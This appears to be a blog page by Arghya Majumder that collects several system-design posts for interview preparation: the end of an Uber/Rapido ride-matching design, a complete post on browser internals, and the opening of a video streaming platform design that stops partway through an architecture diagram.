╔═════════════════════════════════════════════════════════════════╗
║          UBER / RAPIDO — FULL RIDE BOOKING SEQUENCE                     ║
╚═════════════════════════════════════════════════════════════════╝

PHASE 1 — REQUEST & DRIVER MATCHING
──────────────────────────────────────────────────────────────────────────
  Rider      LB       Match     Redis    Notify    Driver
    │          │         │         │         │         │
    │─POST /rides────────►         │         │         │
    │          │─forward─►         │         │         │
    │          │         │         │         │         │
    │          │   ┌─ STEP 1: GEO SEARCH ──────────────────────────────┐
    │          │   │  GEORADIUS drivers:idle:city 3km COUNT 100         │
    │          │   └────────────────────────────────────────────────────┘
    │          │         │─GEORADIUS──►│         │         │
    │          │         │◄──[d001: 0.3km, d002: 0.7km]    │     │
    │          │         │         │         │         │
    │          │   ┌─ STEP 2: FILTER + ETA RANK ───────────────────────┐
    │          │   │filter: state=IDLE, vehicle type, rating     │
    │          │   │  rank: by ETA (not distance)                │
    │          │   └────────────────────────────────────────────────────┘
    │          │         │         │         │         │
    │          │   ┌─ STEP 3: ATOMIC ASSIGNMENT ───────────────────────┐
    │          │WATCH / MULTI / EXEC — prevents double booking    │
    │          │   └────────────────────────────────────────────────────┘
    │          │         │─WATCH───►│         │         │
    │          │         │─MULTI───►│         │         │
    │          │         │◄── EXEC OK (d001 → RESERVED) │         │
    │          │         │         │         │          │
    │          │         │─────────────push offer──────►│         │
    │          │         │         │         │─WS offer (15s)────►│
    │          │         │         │         │          │
    │          │◄─────────────────────────────d001: ACCEPT─────────│
    │          │─accepted►│        │         │         │
    │◄── WS: driver assigned, ETA 4 min ─────│         │         │
    │          │         │         │         │         │


PHASE 2 — REAL-TIME GPS TRACKING  (ON_TRIP)
──────────────────────────────────────────────────────────────────────────
  Driver    Loc Svc    Redis      Kafka      Rider
    │           │          │          │          │
    │─WS: lat/lng every 1s─►          │          │
    │           │─GEOADD───►│         │          │
    │           │  (overwrites previous position)│          │
    │           │─location_update───────►│       │
    │           │          │          │─WS: driver moved──►│
    │           │          │          │    (< 2s lag)      │
    │           │          │          │          │
    │  [driver taps Picked Up]         │         │
    │─PUT /orders/id/status─►          │         │
    │           │─status_changed────────►│       │
    │           │          │          │─WS: "Order picked up"──►│
    │           │          │          │          │


PHASE 3 — TRIP START → END → PAYMENT
──────────────────────────────────────────────────────────────────────────
  Driver     LB       Match     Redis     Kafka    PaySvc     DB
    │          │         │          │         │         │        │
    │─POST /rides/start───►         │         │         │        │
    │          │─────────►│         │         │         │        │
    │          │         │─SET ON_TRIP────►   │         │        │
    │          │         │─trip_start event────►│       │        │
    │          │         │         │         │──────────────────►│
    │          │         │         │         │         persist   │
    │          │         │         │         │         trip row  │
    │          │         │         │         │          │        │
    │─POST /rides/end─────►         │        │          │        │
    │          │─────────►│         │        │          │        │
    │          │         │─trip_end event──────►│       │        │
    │          │         │         │         │─charge rider──────►│  ← wait for OK
    │          │         │         │         │◄── payment OK ────│    
    │          │         │         │         │─finalize trip ────────────►│
    │          │         │─SET IDLE─►│         │          │     │
    │◄── WS: payment confirmed ───────────────────────────│     │
    │          │         │         │         │         │        │

8. High-Level Architecture

Simple Design

Evolved Design (with Kafka and Surge Pricing)

9. Data Model

Entity	Storage	Key Columns	Why this store
Driver live location	Redis Geo sorted set	drivers:idle:city → driver_id, lng, lat	1.67M writes/sec; ephemeral; sub-ms GEORADIUS queries
Driver state	Redis key-value with TTL	driver:state:driver_id → IDLE / RESERVED / ON_TRIP	Atomic WATCH/EXEC for double-booking prevention; TTL self-heals on disconnect
Trip record	PostgreSQL	trip_id, rider_id, driver_id, status, pickup, dropoff, fare, started_at, ended_at	ACID for financial correctness; strong consistency on fare and payment
Payment record	PostgreSQL	payment_id, trip_id, amount, status, method, created_at	ACID; joins with trip record for reconciliation
Surge multiplier	Redis key-value with TTL 60s	surge:geohash → multiplier float	Cache layer; 60s staleness acceptable; SC writes, RS reads
Ride request log	Analytics DB (Cassandra or BigQuery)	request_id, geohash, vehicle_type, timestamp	High-write analytics; feeds Surge Calculator; no ACID needed
Waypoints (GPS trace)	Object storage (S3)	waypoints/trip_id.jsonl	~160 GB/day; cold after trip ends; no random access needed
Driver metadata	PostgreSQL + Redis cache	driver_id, name, vehicle, rating, acceptance_rate	Static metadata; cached in Redis TTL 5m after first read
User / rider profile	PostgreSQL	user_id, name, phone, email, payment_method	Relational; infrequent writes; strong consistency on payment method

10. Deep Dives

7.1 Driver Matching with Geohash and Atomic Assignment

Here is the problem we are solving: when a rider requests a trip, find the best available nearby driver, offer them the ride, and assign atomically — without double-booking — in under 300ms. Five million drivers are in the pool. Naive: scan all drivers in the DB — impossible at scale.

Naive solution fails: A full-table scan of 5M driver rows per ride request at 500K peak requests/sec = 2.5 trillion row scans per second. No relational DB survives this.

Chosen solution — five-step pipeline:

Step 1: Geo index search     -> GEORADIUS -> top 100 candidates within 2km
Step 2: Eligibility filter   -> state=IDLE, vehicle type, rating, acceptance rate
Step 3: ETA-based ranking    -> call routing engine for top 20; score by ETA + quality
Step 4: Sequential dispatch  -> offer to top driver, 15s window; expand if exhausted
Step 5: Atomic state lock    -> WATCH/MULTI/EXEC: IDLE -> RESERVED atomically

Why H3 over plain geohash for production:

Geohash cells are rectangles — corner distances are longer than edge distances, causing search radius inconsistencies. Uber's H3 uses hexagons: every cell has exactly 6 equidistant neighbors, so "expand to adjacent cell" expands coverage uniformly in all directions. For this design, Redis built-in GEORADIUS (geohash-based) is acceptable; H3 is the production upgrade.

The atomic assignment — no separate lock service:

WATCH driver:state:driver_001
  current = GET driver:state:driver_001
  IF current != "IDLE": DISCARD  -- another server got here first
MULTI
  SET driver:state:driver_001  RESERVED  EX 30
  ZREM drivers:idle:bangalore  driver_001
EXEC
  -> nil  EXEC failed -- state changed between WATCH and EXEC, skip driver
  -> OK   atomic commit -- driver is RESERVED, removed from idle pool

Two servers racing to reserve the same driver: only one EXEC commits. The other gets nil and moves to the next candidate. No separate lock key. No lock service. The state is the truth.

Dispatch expansion:

Round 1: 2km, 2-min timeout  -- quality match (close driver, good ETA)
Round 2: 3km, 2-min timeout  -- balance quality + availability
Round 3: 5km, 2-min timeout  -- availability over quality
Round 4: fail request        -- "no driver found"

[!NOTE]
Key Insight: Matching is not about finding the nearest driver — it is about finding the fastest pickup. ETA is the metric, not distance. A driver 0.5km away in traffic has a worse ETA than one 1.2km away on an open road. Every system that ranks by distance is optimizing for the wrong thing.

[!IMPORTANT]
State machine replaces distributed locks. The atomic IDLE → RESERVED transition ensures a driver is either fully available or fully reserved — never both. No ZooKeeper, no Redlock, no DB row lock. The state is the truth.

7.2 Surge Pricing Algorithm

Here is the problem we are solving: at peak demand, more riders request rides than drivers are available. Without price adjustment, all riders compete for the same few drivers, matching fails, and drivers earn less. Surge pricing signals scarcity to both sides — it is a market-clearing mechanism, not a revenue grab.

Naive solution fails: Static per-km rates mean the same price during a 3am downpour as a sunny Tuesday morning. Matching rate drops. Rider wait times spike. Drivers have no incentive to come online.

Chosen solution — demand-signal feedback loop:

demand_ratio = active_ride_requests / idle_drivers_in_cell
multiplier:
ratio < 1.0 -> 1.0x (supply exceeds demand)
ratio 1.0-1.5 -> 1.2x
ratio 1.5-2.0 -> 1.5x
ratio 2.0-3.0 -> 2.0x
ratio > 3.0 -> 3.0x (capped -- prevents extreme pricing)


- Surge Calculator runs every 60 seconds, writes `surge:{geohash}` to Redis (TTL 60s)
- Ride Service reads the multiplier on each fare call (sub-ms Redis read)
- Rider sees the multiplier before confirming — informed consent (legal requirement in most markets)
- Surge does not affect matching logic — it only affects the fare shown to the rider

[!NOTE]
Key Insight: Surge pricing is a read-path concern only — it does not affect matching. The Surge Calculator is a separate service feeding data into Redis. The matching engine never reads it. Decoupling surge calculation from matching prevents a slow analytics query from blocking a 300ms matching window.

Trade-off — eventual consistency on surge: A 60-second Redis TTL means surge multiplier can be up to 60s stale. A rider booking 30 seconds after a demand spike may see the old price. This is acceptable: the fare shown at request time is the fare charged (contractual), and 60s staleness does not meaningfully harm either party.

7.3 Real-Time Location Write Architecture

Here is the problem we are solving: 1.67 million GPS updates arrive per second from driver devices. Each update must be indexed for sub-ms geospatial lookup. The rider tracking a trip must see the driver move smoothly on their map — but the rider and driver are on different backend servers.

Naive solution fails: Writing 1.67M rows/sec to a relational DB creates disk I/O saturation within minutes. Direct server-to-server WebSocket push (Server A to Server B) is impossible in a stateless distributed deployment.

Chosen solution — three-layer architecture:

Layer 1 — Write batching: Location Service buffers 500ms of updates and pipeline-writes to Redis in one round-trip. This reduces Redis round-trips 3–5x without increasing visible latency to the rider (500ms is imperceptible vs 1s update tick).

Layer 2 — Redis Geo sorted set: GEOADD overwrites the previous coordinate (O(log N) per write). GEORADIUS scans a bounding box (O(N+log M)). No locking. No transactions. This is why Redis Geo handles 1.67M concurrent writes while serving sub-10ms matching queries simultaneously.

Layer 3 — Kafka fan-out for ON_TRIP tracking:

State-adaptive update frequency — accuracy vs cost:

Driver state	Update frequency	Redis writes/sec at 5M drivers	Why this frequency
IDLE	Every 5s	1M writes/sec	No rider watching — coarse position enough for matching
RESERVED	Every 2s	2.5M writes/sec	Rider watching ETA countdown on map
ON_TRIP	Every 1s	5M writes/sec	Rider watching live position; smooth animation required

Sending 1-second updates from IDLE drivers wastes 60–70% of Redis write capacity for zero rider-visible benefit. The state machine already knows each driver's state — frequency is derived from it for free.

Stale location self-healing:

Driver phone disconnects -> WebSocket closes -> Location Svc detects
  -> EXPIRE driver:state:driver_id 30
  -> After 30s with no heartbeat: key expires -> auto-removed from idle pool
  -> No stale drivers offered to riders. No cron job needed.

markdown

[!IMPORTANT]
Fan-out via Kafka is a correctness requirement, not a performance optimization. Without it, location updates only reach the rider if they happen to be on the same server as the driver — never guaranteed in a distributed deployment.

[!NOTE]
Key Insight: Write path and read path never conflict in Redis Geo. Writes overwrite one sorted set entry (O(log N)). Reads scan a bounding box (O(N+log M)). No locking. This is why Redis Geo handles 1.67M concurrent writes while serving sub-10ms matching queries.

11. Bottlenecks & Scaling

What breaks first as scale grows 10x:

Bottleneck	Breaks at	Strategy
Redis location write throughput	~10M writes/sec	Shard by city/region: drivers:idle:bangalore, drivers:idle:mumbai. Each shard is an independent Redis cluster.
Match Service fan-out at surge	500K ride requests/sec	Horizontal scale (stateless service); partition ride requests by pickup geohash — each Match Service shard owns a set of cells.
PostgreSQL trip writes	~100K writes/sec per primary	Kafka consumers batch-insert trips (bulk insert 1000 rows vs 1 per event). Add read replicas for ride history queries.
WebSocket server connections	~100K connections per server	Sticky load balancing by driver_id hash; horizontal scale to 70+ servers for 7M connections.
Surge Calculator at 10x cities	Slow DB scan	Pre-aggregate demand counts per geohash cell using Kafka Streams (rolling 5-min window) — write results to Redis instead of scanning the full ride request DB.

Caching strategy:

Driver metadata (name, vehicle, rating): Redis cache TTL 5 minutes — reads on every matching request
Surge multiplier: Redis TTL 60s — Surge Calculator writes, Ride Service reads
Rate table (price/km): Redis TTL 1 hour — changes infrequently
Ride history: read replica + application-level pagination — no caching needed (user reads once)

CDN / Edge: Not applicable to the core matching path. Rider and driver apps download static assets (map tiles, app bundles) via CDN. Dynamic API calls and WebSockets must reach origin.

12. Failure Scenarios

Failure	Impact	Recovery
Redis primary fails (location + state)	Matching halts; active trips lose live map	Redis Sentinel / Cluster failover in < 30s. Drivers re-register within 15s via heartbeat. Active trips re-establish tracking via Kafka (reliable path unaffected).
Match Service instance crashes mid-assignment	Driver reserved but no offer sent; driver stuck in RESERVED	Redis TTL on driver:state expires in 30s → auto-reverts to IDLE. Rider request retries via Kafka dead-letter queue.
Kafka broker failure	Trip events delayed; live tracking fan-out delayed	Kafka cluster replication (RF=3); consumer lag; events replayed on broker recovery. No data loss.
PostgreSQL primary fails	Trip write fails; billing delayed	PostgreSQL replica promoted (RDS Multi-AZ: < 60s). Kafka retains events during failover — no billing data lost.
Driver app disconnects mid-trip	Location updates stop; rider map freezes	Rider shown "signal lost" UI. Driver reconnects and resumes. If no reconnect in 30s: TTL expires, trip marked as interrupted, ops notified.
Payment Service unavailable	Fare not charged at trip end	Kafka retains trip_end event. Payment Service processes on recovery. Idempotency key prevents double-charge.
Surge Calculator crash	Surge multiplier stale (60s TTL expiry)	Redis TTL expires → fallback to 1x. Surge Calculator restarts; resumes writing within seconds. Brief under-pricing acceptable.
Double-booking race condition	Two servers attempt to reserve the same driver	Redis WATCH/MULTI/EXEC: only one EXEC succeeds. Second server gets nil, skips driver, tries next candidate. Zero double-bookings.

13. Trade-offs

Geohash vs Quadtree for Driver Geospatial Index

Dimension	Geohash (Redis Geo)	Quadtree
Cell shape	Rectangle — uneven diagonal vs edge distance	Adaptive subdivision — cells match data density
Neighbor lookup	Must check up to 9 cells for edge cases	Clean tree traversal — 4 children per node
Write throughput	In-memory sorted set — 1.67M writes/sec	Tree rebalancing on write — slower at high write rates
Operational cost	Redis built-in GEORADIUS — zero extra infra	Custom service or library — additional complexity
Production use	Industry standard for most systems	Better for non-uniform density (dense city vs rural)

Chosen: Redis Geo (geohash) — already in the stack for driver state and locks. GEORADIUS is a single command. The trade-off I accept is rectangular cells with slight edge distortion, which is acceptable because we expand to adjacent cells on radius expansion and the distortion (< 5% area difference) does not materially affect ETA accuracy.

[!NOTE]
Key Insight: H3 hexagons (Uber's production choice) solve the corner-distance problem but require a custom indexing layer. For most systems, Redis GEORADIUS is the right default — zero extra infrastructure, built-in neighbor search, proven at scale.

WebSocket vs HTTP Polling for Live Tracking

Dimension	WebSocket	HTTP Polling
Connection overhead	Persistent — one TLS handshake, then frames	New HTTP request per update — TLS + headers each time
Write volume at 5M drivers	1.67M x 20B frames = 33 MB/s	1.67M x 2KB headers = 3.3 GB/s
Bidirectional	Yes — server pushes dispatch offer to driver	No — driver must poll for offers separately
Server state	Stateful sticky routing needed	Stateless — any server handles any request
Battery impact	Low — persistent connection	High — repeated TLS handshakes

Chosen: WebSocket — at 5M drivers updating every 3 seconds, HTTP header overhead alone generates 3.3 GB/s of wasted bytes. WebSocket frames are ~20 bytes. The trade-off I accept is stateful sticky routing (drivers must reconnect to the same server region), which is acceptable because the Location Service is partitioned by city and drivers rarely cross region boundaries mid-shift.

[!NOTE]
Key Insight: WebSocket vs HTTP is a math problem. 5M drivers x 1 update/3s x 2KB HTTP overhead = 3.3 GB/s in headers alone. WebSocket frames are ~20 bytes. The transport choice is arithmetic, not preference.

Surge Pricing Consistency — Eventual vs Strong

Dimension	Strong consistency (read-your-writes)	Eventual consistency (Redis TTL 60s)
Accuracy	Multiplier always reflects latest demand	Up to 60s stale
Latency impact	Must read from DB or leader on every fare call	Redis sub-ms read
Complexity	Distributed transaction across Surge Calc + Ride Svc	Fire-and-forget write to Redis; Ride Svc reads independently
Rider impact	Price always reflects current demand	Rider may see slightly outdated price

Chosen: Eventual consistency with 60s TTL. The fare shown at request time is the fare charged (contractual). A 60-second staleness window does not materially harm riders or drivers. The strong-consistency alternative adds a synchronous DB read on every fare call — at 500K peak requests/sec this becomes a DB bottleneck.

[!NOTE]
Key Insight: Surge pricing staleness is a business tolerance decision, not a technical limitation. 60 seconds is enough granularity for a pricing signal. Exact real-time surge would require a synchronous distributed read on every fare request — the cost is not justified by the precision gained.

14. Interview Summary

[!TIP]
When the interviewer says "walk me through your Uber design," hit these points in order. Each is a decision with a clear WHY.

Key Decisions

Decision	Problem It Solves	Trade-off Accepted
WebSocket (not HTTP) for location	3.3 GB/s HTTP header waste at 5M drivers	Stateful sticky routing per city region
Redis Geo (not PostGIS) for live positions	1.67M location writes/sec; sub-ms spatial queries	Ephemeral — re-registers within 15s on crash
WATCH/MULTI/EXEC atomic state transition	Prevents double-booking without a separate lock service	30s TTL on RESERVED state — rare retry on server crash
Driver State Machine (IDLE/RESERVED/ON_TRIP)	Controls pool membership, update frequency, and crash recovery in one mechanism	State lives in Redis — not durable, but self-healing via TTL
Kafka for trip events (not direct DB write)	Decouples 300ms fast matching path from reliable billing write	5–20ms Kafka lag on durable writes — acceptable
ETA-based ranking (not distance)	Riders experience wait time, not map distance	Routing engine call for each top-K candidate — ~10ms per call
State-adaptive location frequency	60–70% Redis write reduction vs fixed 1s tick; no rider-visible degradation	Requires state machine to be the source of truth for update interval

Fast Path vs Reliable Path

Fast Path   (latency):   Driver WS -> Redis GEOADD -> GEORADIUS -> WATCH/EXEC -> WS push to driver
                         ON_TRIP tracking: Redis -> Kafka -> WS push to rider map

Reliable Path (safety):  trip_start / trip_end -> Kafka -> PostgreSQL (billing, history)
                         Fare request -> Ride Request DB -> Surge Calculator -> Redis

Location = fast path only (ephemeral, overwritten every 1-5s, TTL self-heals)
Trip record = reliable path (durable, drives billing and audit, never lost)

Key Insights Checklist

[!IMPORTANT]
These are the lines that make an interviewer lean forward. Know them cold.

"Matching is not about finding the nearest driver — it is about finding the fastest pickup." We rank by ETA, not distance. Distance is a proxy; ETA is the truth. Every system that ranks by distance is optimizing for the wrong metric.
"Consistency in driver assignment is enforced through state transitions, not locks." The atomic IDLE → RESERVED via WATCH/MULTI/EXEC is the mutual exclusion. No separate lock service. No ZooKeeper. The state is the truth.
"Location data is high-frequency and ephemeral — storing it in a DB creates write bottlenecks." Redis holds only the current position. TTL self-evicts stale data. The previous coordinate has zero value the moment the next one arrives.
"Update frequency is a function of driver state, not a single tuning knob." IDLE drivers waste 60–70% of Redis write capacity if pinged every second. The state machine already knows the state — frequency is derived from it for free.
"The Kafka queue is a correctness requirement." Decoupling fast matching (Redis, sub-100ms) from reliable billing (Kafka → DB) is what makes both guarantees achievable simultaneously. Without Kafka, a slow DB write would block the matching path.
"CAP per component." Rider-facing services are AP. Driver assignment is CP. The system is not uniformly one or the other — this is the right answer in an interview.

Browser Internals: A Senior Engineer's Deep Dive

Arghya Majumder — Sun, 11 Jan 2026 18:52:07 +0000

Browser Internals: A Senior Engineer's Deep Dive

Understanding how the browser works under the hood is essential for performance optimization and debugging.

1. The Browser Architecture

Modern browsers have a multi-process architecture:

┌─────────────────────────────────────────────────────────────┐
│                     Browser Process                          │
│  (UI, bookmarks, network, storage)                          │
└─────────────────────────────────────────────────────────────┘
         │              │              │              │
         ▼              ▼              ▼              ▼
┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│  Renderer   │ │  Renderer   │ │  Renderer   │ │    GPU      │
│  Process    │ │  Process    │ │  Process    │ │  Process    │
│  (Tab 1)    │ │  (Tab 2)    │ │  (Tab 3)    │ │             │
└─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘

Why Multiple Processes?

Benefit	Explanation
Security	Each tab is sandboxed; malicious site can't access other tabs
Stability	If one tab crashes, others survive
Performance	Parallel processing across CPU cores

2. The Rendering Pipeline (Critical Rendering Path)

This is the most important concept for frontend performance.

┌──────────┐    ┌──────────┐    ┌──────────┐    ┌──────────┐    ┌──────────┐
│   HTML   │───▶│   DOM    │───▶│  Render  │───▶│  Layout  │───▶│  Paint   │
│  Parse   │    │   Tree   │    │   Tree   │    │          │    │          │
└──────────┘    └──────────┘    └──────────┘    └──────────┘    └──────────┘
                     │                │
                     │                │
               ┌─────▼─────┐          │
               │   CSSOM   │──────────┘
               │   Tree    │
               └───────────┘

Step-by-Step Breakdown

1. HTML Parsing → DOM Tree

<html>
  <body>
    <div id="app">
      <p>Hello</p>
    </div>
  </body>
</html>

        document
            │
          html
            │
          body
            │
        div#app
            │
           p
            │
        "Hello"

Key Point: Parser is synchronous. When it hits <script>, it STOPS.

2. CSS Parsing → CSSOM Tree

body { font-size: 16px; }
#app { color: blue; }
p { margin: 10px; }

        CSSOM
          │
     ┌────┴────┐
   body      #app
(font:16)   (color:blue)
     │
     p
 (margin:10)

Key Point: CSSOM construction blocks rendering. This is why we inline critical CSS.

3. Render Tree (DOM + CSSOM)

Only visible elements are included:

Render Tree:
  body (font: 16px)
    └─ div#app (color: blue)
         └─ p (margin: 10px)
              └─ "Hello"

NOT included:
  - <head> and its children
  - Elements with display: none
  - <script>, <meta>, <link>

4. Layout (Reflow)

Calculates the exact position and size of each element:

┌────────────────────────────────────────┐
│ body: 0,0 - 1920x1080                  │
│  ┌──────────────────────────────────┐  │
│  │ div#app: 8,8 - 1904x500          │  │
│  │  ┌────────────────────────────┐  │  │
│  │  │ p: 8,18 - 1904x20          │  │  │
│  │  └────────────────────────────┘  │  │
│  └──────────────────────────────────┘  │
└────────────────────────────────────────┘

Expensive Operation: Changing width, height, position triggers reflow of all descendants.

5. Paint

Fills in pixels: colors, borders, shadows, text.

Paint Order:

Background color
Background image
Border
Children
Outline

6. Composite

GPU combines layers into final image. Elements on separate layers can animate without repaint.

3. The Event Loop: JavaScript's Heartbeat

JavaScript is single-threaded. The Event Loop is how it handles async operations.

The Mental Model

┌─────────────────────────────────────────────────────────────┐
│                         HEAP                                 │
│                   (Object Storage)                           │
└─────────────────────────────────────────────────────────────┘

┌─────────────┐     ┌─────────────────────────────────────────┐
│   CALL      │     │              WEB APIs                    │
│   STACK     │     │  (setTimeout, fetch, DOM events, etc.)  │
│             │     └──────────────────┬──────────────────────┘
│  function() │                        │
│  function() │                        ▼
│  main()     │     ┌─────────────────────────────────────────┐
└─────────────┘     │           CALLBACK QUEUES                │
       ▲            │  ┌─────────────────────────────────────┐ │
       │            │  │ Microtask Queue (Promises, queueMT) │ │
       │            │  └─────────────────────────────────────┘ │
       │            │  ┌─────────────────────────────────────┐ │
       └────────────│  │ Macrotask Queue (setTimeout, I/O)   │ │
     Event Loop     │  └─────────────────────────────────────┘ │
     picks next     └─────────────────────────────────────────┘

Execution Order

console.log('1');  // Sync

setTimeout(() => console.log('2'), 0);  // Macrotask

Promise.resolve().then(() => console.log('3'));  // Microtask

console.log('4');  // Sync

// Output: 1, 4, 3, 2

The Rule:

Execute all synchronous code (Call Stack empties)
Execute ALL microtasks (Promise callbacks, queueMicrotask)
Execute ONE macrotask (setTimeout, setInterval, I/O)
Repeat from step 2

Microtasks vs Macrotasks

Microtasks	Macrotasks
`Promise.then/catch/finally`	`setTimeout`
`queueMicrotask()`	`setInterval`
`MutationObserver`	`setImmediate` (Node)
`process.nextTick` (Node)	I/O callbacks
	`requestAnimationFrame`*

*requestAnimationFrame runs before repaint, after microtasks.

The Danger: Blocking the Event Loop

// BAD: Blocks for 5 seconds
function processLargeArray(items) {
  items.forEach(item => {
    // Heavy computation
    heavyWork(item);
  });
}

// GOOD: Yield to the event loop
async function processLargeArray(items) {
  for (const item of items) {
    heavyWork(item);

    // Let browser breathe every 100 items
    if (index % 100 === 0) {
      await new Promise(r => setTimeout(r, 0));
    }
  }
}

4. Reflow vs Repaint

Understanding what triggers each is crucial for performance.

Repaint (Cheap)

Changes to visual properties that don't affect layout:

element.style.color = 'red';
element.style.backgroundColor = 'blue';
element.style.visibility = 'hidden';  // Still takes space
element.style.opacity = 0.5;

Reflow (Expensive)

Changes to geometry trigger layout recalculation:

element.style.width = '100px';
element.style.height = '200px';
element.style.padding = '10px';
element.style.margin = '20px';
element.style.display = 'none';  // Removed from layout
element.style.position = 'absolute';
element.style.fontSize = '20px';  // Text reflow!

Layout Thrashing

The worst performance anti-pattern:

// BAD: Forces 100 reflows!
elements.forEach(el => {
  const height = el.offsetHeight;  // READ → forces layout
  el.style.height = height + 10 + 'px';  // WRITE → invalidates layout
});

// GOOD: Batch reads, then batch writes
const heights = elements.map(el => el.offsetHeight);  // All reads

elements.forEach((el, i) => {
  el.style.height = heights[i] + 10 + 'px';  // All writes
});

Properties That Trigger Layout

Reading these forces an immediate reflow:

// These are "layout-triggering" getters
element.offsetTop / offsetLeft / offsetWidth / offsetHeight
element.scrollTop / scrollLeft / scrollWidth / scrollHeight
element.clientTop / clientLeft / clientWidth / clientHeight
element.getBoundingClientRect()
window.getComputedStyle(element)

5. Compositor Layers

The GPU can animate certain properties without reflow or repaint.

Properties Handled by Compositor

/* These animate on the GPU — 60fps guaranteed */
transform: translateX(100px);
transform: scale(1.5);
transform: rotate(45deg);
opacity: 0.5;

How to Promote to Own Layer

/* Modern way */
.animated-element {
  will-change: transform;
}

/* Legacy fallback */
.animated-element {
  transform: translateZ(0);  /* "Null transform hack" */
}

The Layer Explosion Problem

/* BAD: Creates too many layers */
* {
  will-change: transform;
}

/* GOOD: Only elements that will animate */
.card:hover {
  will-change: transform;
}
.card {
  will-change: auto;  /* Release after animation */
}

6. requestAnimationFrame: The Right Way to Animate

Why Not setTimeout?

// BAD: Timer doesn't sync with display refresh
setInterval(() => {
  element.style.left = x++ + 'px';
}, 16);  // Hoping for 60fps

// GOOD: Synced with browser's paint cycle
function animate() {
  element.style.left = x++ + 'px';
  requestAnimationFrame(animate);
}
requestAnimationFrame(animate);

When rAF Fires

┌────────────────────────────────────────────────────────────┐
│                    One Frame (~16.67ms)                     │
├──────────┬──────────┬──────────┬──────────┬───────────────┤
│   JS     │   rAF    │  Style   │  Layout  │     Paint     │
│ (events) │callbacks │  Calc    │          │   Composite   │
└──────────┴──────────┴──────────┴──────────┴───────────────┘

7. Web Workers: True Parallelism

For heavy computation that would block the main thread:

// main.js
const worker = new Worker('worker.js');

worker.postMessage({ data: largeArray });

worker.onmessage = (event) => {
  console.log('Result:', event.data);
};

// worker.js
self.onmessage = (event) => {
  const result = heavyComputation(event.data);
  self.postMessage(result);
};

Limitations

Can Access	Cannot Access
`fetch`	DOM
`setTimeout/setInterval`	`window`
`WebSockets`	`document`
`IndexedDB`	UI-related APIs
`postMessage`	`localStorage` (use IndexedDB)

8. Memory Management & Garbage Collection

How GC Works (Mark and Sweep)

1. Mark Phase: Start from "roots" (global, stack), mark all reachable objects
2. Sweep Phase: Delete all unmarked objects

Common Memory Leaks

// 1. Forgotten event listeners
element.addEventListener('click', handler);
// element removed from DOM, but handler still references it

// 2. Closures holding references
function createHandler() {
  const largeData = new Array(1000000);
  return () => console.log(largeData.length);
}

// 3. Detached DOM trees
const div = document.createElement('div');
div.innerHTML = '<span>Hello</span>';
// div never added to DOM, but JavaScript holds reference

Detecting Leaks

// Chrome DevTools → Memory → Take Heap Snapshot
// Compare snapshots before and after suspected leak

9. Interview Tip

"I understand the browser as a multi-stage pipeline: parsing HTML/CSS into trees, combining them into the render tree, calculating layout, painting pixels, and compositing layers. I optimize by avoiding layout thrashing (batch reads before writes), using compositor-friendly properties (transform, opacity) for animations, and leveraging requestAnimationFrame for smooth 60fps. For heavy computation, I use Web Workers to keep the main thread responsive. Understanding the event loop — especially the microtask/macrotask distinction — helps me write predictable async code."

Video Streaming Platform (YouTube / Hotstar / Netflix / Prime) High-level System Design

Arghya Majumder — Sun, 11 Jan 2026 18:07:28 +0000

Video Streaming Platform (YouTube / Netflix / Hotstar)

Chapter 1 — Product Requirements, Scale, and Design Targets

This chapter defines what kind of video platform we are building and the physical limits it must survive.

Everything that follows in this book is constrained by these numbers.

We are designing a global video streaming platform in the class of YouTube, Netflix, and Amazon Prime Video that supports:

User-generated uploads
Studio-grade content
On-demand playback
Live streaming
Offline viewing
Multi-device continuity

The system must feel instant, reliable, and smooth for hundreds of millions of users.

1. Functional Requirements

The platform must support the following core user actions:

Content creators

Upload raw video files of arbitrary length and size
See upload progress and failure recovery
Have videos transcoded into multiple qualities
Publish videos to be watchable by viewers

Viewers

Discover and open a video
Start playback in under 2 seconds
Seek, pause, and change quality without visible glitches
Continue watching the same video on another device
Download videos for offline playback
Watch live streams with minimal delay

Platform

Track watch time, views, and engagement
Recommend content
Enforce regional, subscription, and DRM rules
Protect against piracy and abuse

2. Non-Functional Requirements

These are the invisible constraints that shape the architecture.

Latency

Time-to-first-frame: < 2 seconds for most users
Seek latency: < 500 ms
Live stream delay: < 5 seconds from broadcaster to viewer

Reliability

A CDN edge failure must not stop playback
Analytics outages must not stop playback
Backend outages should only block new playback starts, not active streams

Consistency

Resume position can be eventually consistent
View counts can be delayed
DRM enforcement must be strongly consistent

Scalability

Must support global viral traffic spikes
One video can be watched by tens of millions simultaneously

3. Traffic Model

We design for a YouTube-scale service.

Users

300 million daily active users
50 million concurrent viewers at peak

Playback

Average session: 30 minutes
Average bitrate: 3 Mbps
Peak bitrate: 15–25 Mbps (4K)

This means peak outbound traffic can exceed:

50M users × 3 Mbps = 150 Tbps

This immediately tells us:
No backend service can ever sit in the video data path.
Only CDNs can handle this scale.

4. Upload Model

Creators upload far fewer videos than viewers watch.

10 million uploads per day
Average file size: 1–3 GB
Peak upload throughput: ~500 Gbps globally

Uploads are heavy but not latency-sensitive.
They can be queued, retried, and processed asynchronously.

5. Storage Model

We store multiple versions of every video.

If a 1-hour video is transcoded into:

4K
1080p
720p
480p
360p

And segmented into 4-second chunks, a single video produces thousands of objects.

At YouTube scale:

Exabytes of cold storage
Petabytes of hot CDN cache

This forces us to use:

Cheap object storage (S3-like)
Aggressive CDN caching
Versioned immutable files

6. Design Targets

These numbers lock in the architecture.

Constraint	Consequence
150+ Tbps video traffic	Video must flow only through CDNs
Millions of concurrent users	Backend must be stateless & horizontally scalable
Billions of video segments	Storage must be object-based, not filesystem-based
UI must never freeze	Player must run off the main thread
Analytics can lag	Events must be async via Kafka-style logs

These constraints will force:

A two-plane architecture (control vs data)
A frontend-driven control loop
A CDN-first delivery model

End of Chapter 1.

Chapter 2 — Global Platform Architecture

This chapter defines the full system at 30,000 feet before we dive into any single pipeline.
Every service, database, CDN, and client lives inside this picture.

The most important idea is this:

Video bytes and playback control must never flow through the same systems.

This is the single architectural rule that allows the platform to scale to hundreds of millions of users.

1. The Two-Plane Architecture

The platform is split into two planes:

Control Plane

Handles:
- Authentication
- Authorization
- Metadata
- Manifests
- DRM
- Analytics events
Data Plane

Handles:
- Video bytes
- Audio bytes
- Subtitle bytes
- Segment delivery

The control plane is backend-heavy.

The data plane is CDN-heavy.

2. High-Level System Diagram

┌─────────────────────────────────────────────────────────────────────────┐
│                            CLIENT LAYER                                  │
